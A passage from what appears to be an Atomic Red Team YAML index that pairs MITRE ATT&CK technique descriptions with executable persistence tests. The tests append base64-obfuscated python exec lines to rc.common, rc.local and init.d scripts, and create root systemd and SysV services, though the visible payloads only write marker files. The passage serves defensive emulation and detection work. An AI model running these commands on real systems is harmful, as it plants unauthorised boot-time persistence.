      name: Domain Controller Authentication
      description: "Adversaries may patch the authentication process on a domain controller
        to bypass the typical authentication mechanisms and enable access to accounts.
        \n\nMalware may be used to inject false credentials into the authentication
        process on a domain controller with the intent of creating a backdoor used
        to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)).
        Skeleton key works through a patch on an enterprise domain controller authentication
        process (LSASS) with credentials that adversaries may use to bypass the standard
        authentication system. Once patched, an adversary can use the injected password
        to successfully authenticate as any domain user account (until the the skeleton
        key is erased from memory by a reboot of the domain controller). Authenticated
        access may enable unfettered access to hosts and/or resources within single-factor
        authentication environments.(Citation: Dell Skeleton)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Monitor for calls to <code>OpenProcess</code> that can be
        used to manipulate lsass.exe running on a domain controller as well as for
        malicious modifications to functions exported from authentication-related
        system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure
        robust, consistent account activity audit policies across the enterprise and
        with externally accessible services.(Citation: TechNet Audit Policy) Look
        for suspicious account behavior across systems that share accounts, either
        user, admin, or service accounts. Examples: one account logged into multiple
        systems simultaneously; multiple accounts logged into the same machine simultaneously;
        accounts logged in at odd times or outside of business hours. Activity may
        be from interactive login sessions or process ownership from accounts being
        used to execute binaries on a remote system as a particular account. Correlate
        other security systems with login information (e.g. a user has an active login
        session but has not entered the building or does not have VPN access). "
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: Process Access'
      - 'File: File Modification'
      - 'Process: OS API Execution'
      x_mitre_permissions_required:
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1556.005:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48
      type: attack-pattern
      created: '2022-01-13T20:02:28.349Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1556.005
        url: https://attack.mitre.org/techniques/T1556/005
      - source_name: store_pwd_rev_enc
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption
        description: Microsoft. (2021, October 28). Store passwords using reversible
          encryption. Retrieved January 3, 2022.
      - source_name: how_pwd_rev_enc_1
        url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html
        description: 'Teusink, N. (2009, August 25). Passwords stored using reversible
          encryption: how it works (part 1). Retrieved November 17, 2021.'
      - source_name: how_pwd_rev_enc_2
        url: http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html
        description: 'Teusink, N. (2009, August 26). Passwords stored using reversible
          encryption: how it works (part 2). Retrieved November 17, 2021.'
      - source_name: dump_pwd_dcsync
        url: https://adsecurity.org/?p=2053
        description: Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for
          All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.
      modified: '2022-05-11T14:00:00.188Z'
      name: Reversible Encryption
      description: |-
        An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The <code>AllowReversiblePasswordEncryption</code> property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)

        If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

        1. Encrypted password (<code>G$RADIUSCHAP</code>) from the Active Directory user-structure <code>userParameters</code>
        2. 16 byte randomly-generated value (<code>G$RADIUSCHAPKEY</code>) also from <code>userParameters</code>
        3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</code>)
        4. Static key hardcoded in the Remote Access Subauthentication DLL (<code>RASSFM.DLL</code>)

        With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)

        An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to "Windows Server 2008" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to <code>Set-ADUser -AllowReversiblePasswordEncryption $true</code>.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "Monitor property changes in Group Policy: <code>Computer
        Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password
        Policy\\Store passwords using reversible encryption</code>. By default, the
        property should be set to Disabled.\n\nMonitor command-line usage for <code>-AllowReversiblePasswordEncryption
        $true</code> or other actions that could be related to malicious tampering
        of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)).
        Furthermore, consider monitoring and/or blocking suspicious execution of Active
        Directory PowerShell modules, such as <code>Set-ADUser</code> and <code>Set-ADAccountControl</code>,
        that change account configurations. \n\nMonitor Fine-Grained Password Policies
        and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)"
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      - 'User Account: User Account Metadata'
      - 'Script: Script Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1546.016:
    technique:
      modified: '2024-04-12T02:23:44.583Z'
      name: Installer Packages
      description: |-
        Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Installer packages are OS specific and contain the resources an operating system needs to install applications on a system. Installer packages can include scripts that run prior to installation as well as after installation is complete. Installer scripts may inherit elevated permissions when executed. Developers often use these scripts to prepare the environment for installation, check requirements, download dependencies, and remove files after installation.(Citation: Installer Package Scripting Rich Trouton)

        Using legitimate applications, adversaries have distributed applications with modified installer scripts to execute malicious content. When a user installs the application, they may be required to grant administrative permissions to allow the installation. At the end of the installation process of the legitimate application, content such as macOS `postinstall` scripts can be executed with the inherited elevated permissions. Adversaries can use these scripts to execute a malicious executable or install other malicious components (such as a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation: Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation: Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)

        Depending on the distribution, Linux versions of package installer scripts are sometimes called maintainer scripts or post installation scripts. These scripts can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root when executed.

        For Windows, the Microsoft Installer services uses `.msi` files to manage the installing, updating, and uninstalling of applications. These installation routines may also include instructions to perform additional actions that may be abused by adversaries.(Citation: Microsoft Installation Procedures)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Brandon Dalton @PartyD0lphin
      - Alexander Rodchenko
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      x_mitre_effective_permissions:
      - root
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56
      created: '2022-09-27T18:02:16.026Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/016
        external_id: T1546.016
      - source_name: Application Bundle Manipulation Brandon Dalton
        description: 'Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking
          macOS security controls to thwart application bundle manipulation. Retrieved
          September 27, 2022.'
        url: https://redcanary.com/blog/mac-application-bundles/
      - source_name: Debian Manual Maintainer Scripts
        description: Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer
          scripts and installation procedure. Retrieved September 27, 2022.
        url: https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact
      - source_name: Windows AppleJeus GReAT
        description: 'Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018,
          August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with
          fake installer and macOS malware. Retrieved September 27, 2022.'
        url: https://securelist.com/operation-applejeus/87553/
      - source_name: Microsoft Installation Procedures
        description: Microsoft. (2021, January 7). Installation Procedure Tables Group.
          Retrieved December 27, 2023.
        url: https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group
      - source_name: wardle evilquest parti
        description: 'Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part
          i: infection, persistence, and more!. Retrieved March 18, 2021.'
        url: https://objective-see.com/blog/blog_0x59.html
      - source_name: Installer Package Scripting Rich Trouton
        description: 'Rich Trouton. (2019, August 9). Installer Package Scripting:
          Making your deployments easier, one ! at a time. Retrieved September 27,
          2022.'
        url: https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1037.004:
    technique:
      modified: '2024-04-16T12:22:29.150Z'
      name: 'Boot or Logon Initialization Scripts: Rc.common'
      description: |-
        Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

        Adversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.

        Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)

        Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for unexpected changes to RC scripts in the <code>/etc/</code>
        directory. Monitor process execution resulting from RC scripts for unusual
        or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code>
        file creation. Although types of RC scripts vary for each Unix-like distribution,
        several execute <code>/etc/rc.local</code> if present. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      - Linux
      - Network
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - root
      type: attack-pattern
      id: attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211
      created: '2020-01-15T16:25:22.260Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1037/004
        external_id: T1037.004
      - source_name: Apple Developer Doco Archive Launchd
        description: Apple. (2016, September 13). Daemons and Services Programming
          Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.
        url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
      - source_name: Startup Items
        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
          2017.
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
      - source_name: Ubuntu Manpage systemd rc
        description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility
          generator for starting /etc/rc.local and        /usr/sbin/halt.local during
          boot and shutdown. Retrieved February 23, 2021.
        url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html
      - source_name: IranThreats Kittens Dec 2017
        description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten,
          A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.
        url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/
      - source_name: Methods of Mac Malware Persistence
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
      - source_name: intezer-kaiji-malware
        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
          turning to Golang. Retrieved December 17, 2020.'
        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
      - source_name: Intezer HiddenWasp Map 2019
        description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted
          Linux Systems. Retrieved June 24, 2019.
        url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1037.004
    atomic_tests:
    - name: rc.common
      auto_generated_guid: 97a48daa-8bca-4bc0-b1a9-c1d163e762de
      description: |
        Modify rc.common

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html)
      supported_platforms:
      - macos
      executor:
        command: 'sudo echo osascript -e ''tell app "Finder" to display dialog "Hello
          World"'' >> /etc/rc.common

          '
        elevation_required: true
        name: bash
    - name: rc.common
      auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a
      description: 'Modify rc.common

        '
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi
          printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common
          echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common
          printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common
          sudo chmod +x /etc/rc.common
        cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename
          ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common
          && sudo rm $origfilename;fi

          '
    - name: rc.local
      auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102
      description: 'Modify rc.local

        '
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi
          [ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local
          echo "\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local
          printf 'exit 0' | sudo tee -a /etc/rc.local
          sudo chmod +x /etc/rc.local
        cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename
          ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local &&
          sudo rm $origfilename;fi

          '
  T1543.002:
    technique:
      modified: '2024-02-15T14:19:22.282Z'
      name: 'Create or Modify System Process: SysV/Systemd Service'
      description: "Adversaries may create or modify systemd services to repeatedly
        execute malicious payloads as part of persistence. Systemd is a system and
        service manager commonly used for managing background daemon processes (also
        known as services) and other system resources.(Citation: Linux man-pages:
        systemd January 2014) Systemd is the default initialization (init) system
        on many Linux distributions replacing legacy init systems, including SysVinit
        and Upstart, while remaining backwards compatible.  \n\nSystemd utilizes unit
        configuration files with the `.service` file extension to encode information
        about a service's process. By default, system level unit files are stored
        in the `/systemd/system` directory of the root owned directories (`/`). User
        level unit files are stored in the `/systemd/user` directories of the user
        owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the
        `.service` unit files, the following directives are used to execute commands:(Citation:
        freedesktop systemd.service)  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost`
        directives execute when a service is started manually by `systemctl` or on
        system start if the service is set to automatically start.\n* `ExecReload`
        directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`,
        and `ExecStopPost` directives execute when a service is stopped.  \n\nAdversaries
        have created new service files, altered the commands a `.service` file’s directive
        executes, and modified the user directive a `.service` file executes as, which
        could result in privilege escalation. Adversaries may also place symbolic
        links in these directories, enabling systemd to find these payloads regardless
        of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation:
        airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016)
        \n\nThe .service file’s User directive can be used to run service as a specific
        user, which could result in privilege escalation based on specific user/group
        permissions. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      - Emad Al-Mousa, Saudi Aramco
      - Tim (Wadhwa-)Brown
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor file creation and modification events of Systemd
        service unit configuration files in the default directory locations for `root`
        & `user` level permissions. Suspicious processes or scripts spawned in this
        manner will have a parent process of ‘systemd’, a parent process ID of 1,
        and will usually execute as the `root` user.(Citation: lambert systemd 2022)
        \n\nSuspicious systemd services can also be identified by comparing results
        against a trusted system baseline. Malicious systemd services may be detected
        by using the systemctl utility to examine system wide services: `systemctl
        list-units -–type=service –all`. Analyze the contents of `.service` files
        present on the file system and ensure that they refer to legitimate, expected
        executables, and symbolic links.(Citation: Berba hunting linux systemd)\n\nAuditing
        the execution and command-line arguments of the `systemctl` utility, as well
        related utilities such as `/usr/sbin/service` may reveal malicious systemd
        service execution."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      - 'Process: Process Creation'
      - 'File: File Creation'
      x_mitre_permissions_required:
      - User
      - root
      type: attack-pattern
      id: attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b
      created: '2020-01-17T16:15:19.870Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543/002
        external_id: T1543.002
      - source_name: airwalk backdoor unix systems
        description: airwalk. (2023, January 1). A guide to backdooring Unix systems.
          Retrieved May 31, 2023.
        url: http://www.ouah.org/backdoors.html
      - source_name: Anomali Rocke March 2019
        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
          a New Malware Family Written in Golang. Retrieved April 24, 2019.
        url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
      - source_name: freedesktop systemd.service
        description: Free Desktop. (n.d.). systemd.service — Service unit configuration.
          Retrieved March 20, 2023.
        url: https://www.freedesktop.org/software/systemd/man/systemd.service.html
      - source_name: 'Linux man-pages: systemd January 2014'
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
      - source_name: Berba hunting linux systemd
        description: 'Pepe Berba. (2022, January 30). Hunting for Persistence in Linux
          (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.'
        url: https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/
      - source_name: Rapid7 Service Persistence 22JUNE2016
        description: Rapid7. (2016, June 22). Service Persistence. Retrieved April
          23, 2019.
        url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence
      - source_name: lambert systemd 2022
        description: 'Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding
          systemd service persistence. Retrieved March 20, 2023.'
        url: https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1543.002
    atomic_tests:
    - name: Create Systemd Service
      auto_generated_guid: d9e4f24f-aa67-4c6e-bcbf-85622b697a7c
      description: 'This test creates a Systemd service unit file and enables it as
        a service.

        '
      supported_platforms:
      - linux
      input_arguments:
        systemd_service_path:
          description: Path to systemd service unit file
          type: path
          default: "/etc/systemd/system"
        systemd_service_file:
          description: File name of systemd service unit file
          type: string
          default: art-systemd-service.service
        execstoppost_action:
          description: ExecStopPost action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstoppost-marker"
        execreload_action:
          description: ExecReload action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execreload-marker"
        execstart_action:
          description: ExecStart action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstart-marker"
        execstop_action:
          description: ExecStop action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstop-marker"
        execstartpre_action:
          description: ExecStartPre action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstartpre-marker"
        execstartpost_action:
          description: ExecStartPost action for Systemd service
          type: string
          default: "/bin/touch /tmp/art-systemd-execstartpost-marker"
      executor:
        command: |
          echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file}
          echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_path}/#{systemd_service_file}
          echo "" >> #{systemd_service_path}/#{systemd_service_file}
          echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file}
          echo "Type=simple"
          echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "" >> #{systemd_service_path}/#{systemd_service_file}
          echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file}
          echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_service_file}
          systemctl daemon-reload
          systemctl enable #{systemd_service_file}
          systemctl start #{systemd_service_file}
        cleanup_command: |
          systemctl stop #{systemd_service_file}
          systemctl disable #{systemd_service_file}
          rm -rf #{systemd_service_path}/#{systemd_service_file}
          systemctl daemon-reload
        name: bash
    - name: Create SysV Service
      auto_generated_guid: 760fe8d2-79d9-494f-905e-a239a3df86f6
      description: 'This test creates a SysV service unit file and enables it as a
        service.

        '
      supported_platforms:
      - linux
      input_arguments:
        rc_service_path:
          description: Path to rc service file
          type: path
          default: "/usr/local/etc/rc.d"
        rc_service_file:
          description: File name of rc service file
          type: string
          default: art-test
      executor:
        command: "echo '#\\!/bin/sh' > #{rc_service_path}/#{rc_service_file}\necho
          ' ' >> #{rc_service_path}/#{rc_service_file}\necho '#' >> #{rc_service_path}/#{rc_service_file}\necho
          '# PROVIDE: art-test' >> #{rc_service_path}/#{rc_service_file}\necho '#
          REQUIRE: LOGIN' >> #{rc_service_path}/#{rc_service_file}\necho '# KEYWORD:
          shutdown' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho
          '. /etc/rc.subr' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho
          'name=\"art_test\"' >> #{rc_service_path}/#{rc_service_file}\necho 'rcvar=art_test_enable'
          >> #{rc_service_path}/#{rc_service_file}\necho 'load_rc_config ${name}'
          >> #{rc_service_path}/#{rc_service_file}\necho 'command=\"/usr/bin/touch\"'
          >> #{rc_service_path}/#{rc_service_file}\necho 'start_cmd=\"art_test_start\"'
          >> #{rc_service_path}/#{rc_service_file}\necho '' >> #{rc_service_path}/#{rc_service_file}\necho
          'art_test_start()' >> #{rc_service_path}/#{rc_service_file}     \necho '{'
          >> #{rc_service_path}/#{rc_service_file}\necho '  ${command} /tmp/art-test.marker'
          >> #{rc_service_path}/#{rc_service_file}\necho '}' >> #{rc_service_path}/#{rc_service_file}\necho
          ' ' >> #{rc_service_path}/#{rc_service_file}     \necho 'run_rc_command
          \"$1\"' >> #{rc_service_path}/#{rc_service_file}\nchmod +x #{rc_service_path}/#{rc_service_file}\nservice
          art-test enable\nservice art-test start\n"
        cleanup_command: |
          sysrc -x art_test_enable
          rm -f #{rc_service_path}/#{rc_service_file}
        name: sh
    - name: Create Systemd Service file,  Enable the service , Modify and Reload the
        service.
      auto_generated_guid: c35ac4a8-19de-43af-b9f8-755da7e89c89
      description: "This test creates a systemd service unit file and enables it to
        autostart on boot. Once service is created and enabled, it also modifies this
        same service file showcasing both Creation and Modification of system process.
        \n"
      supported_platforms:
      - linux
      dependencies:
      - description: 'System must be Ubuntu ,Kali OR CentOS.

          '
        prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat
          /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i
          ''ID="centos"'') ]; then exit /b 0; else exit /b 1; fi;

          '
        get_prereq_command: 'echo Please run from Ubuntu ,Kali OR CentOS.

          '
      executor:
        name: bash
        elevation_required: true
        command: "cat > /etc/init.d/T1543.002 << EOF\n#!/bin/bash\n### BEGIN INIT
          INFO\n# Provides : Atomic Test T1543.002\n# Required-Start: $all\n# Required-Stop
          : \n# Default-Start: 2 3 4 5\n# Default-Stop: \n# Short Description: Atomic
          Test for Systemd Service Creation\n### END INIT INFO\npython3 -c \"import
          os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBDcmVhdGluZyBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLmNyZWF0aW9uJykK'))\"\nEOF\n\nchmod
          +x /etc/init.d/T1543.002\nif [ $(cat /etc/os-release | grep -i ID=ubuntu)
          ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then update-rc.d T1543.002
          defaults; elif [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then
          chkconfig T1543.002 on ; else echo \"Please run this test on Ubnutu , kali
          OR centos\" ; fi ;\nsystemctl enable T1543.002\nsystemctl start T1543.002\n\necho
          \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgYSBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLm1vZGlmaWNhdGlvbicpCg=='))\\\"\"
          | sudo tee -a /etc/init.d/T1543.002\nsystemctl daemon-reload\nsystemctl
          restart T1543.002\n"
        cleanup_command: |
          systemctl stop T1543.002
          systemctl disable T1543.002
          rm -rf /etc/init.d/T1543.002
          systemctl daemon-reload
  T1136:
    technique:
      modified: '2024-01-31T20:46:43.215Z'
      name: Create Account
      description: |-
        Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

        Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.
      kill_chain_phases:
